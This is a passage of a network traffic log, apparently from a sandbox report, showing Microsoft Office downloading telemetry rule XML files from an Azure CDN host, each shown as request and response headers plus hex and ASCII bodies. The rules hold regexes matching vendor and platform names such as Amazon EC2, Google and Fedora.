3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:20 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022120Z-178bfbc474b9fdhphC1NYCac0n00000003tg000000007a9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:21 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:21 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:21 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022121Z-15b8b599d882l6clhC1TEBxd5c000000022g00000000k4gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:21 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:21 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: a7985a29-001e-0046-374c-3cda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022121Z-15b8b599d885v8r9hC1TEB104g00000002eg000000000ykb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022123Z-178bfbc474bv587zhC1NYCny5w00000003s0000000006ggf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:23 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022123Z-174c587ffdfb74xqhC1TEBhabc00000002d0000000000mdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:23 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022123Z-178bfbc474bh5zbqhC1NYCkdug00000003ng00000000rp9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:23 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 15dd4eb7-201e-0051-500a-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022123Z-178bfbc474bpscmfhC1NYCfc2c00000002e0000000009nm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:23 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022123Z-174c587ffdf7t49mhC1TEB4qbg00000002a0000000001zbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:25 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: ce4e00c6-401e-00a3-3516-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022125Z-178bfbc474bgvl54hC1NYCsfuw00000003s000000000hh3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:25 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022125Z-15b8b599d88tmlzshC1TEB4xpn000000025000000000d7uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:25 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022125Z-178bfbc474bbcwv4hC1NYCypys00000003tg000000000d4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:25 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022126Z-15b8b599d88f9wfchC1TEBm2kc00000002b000000000ggq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
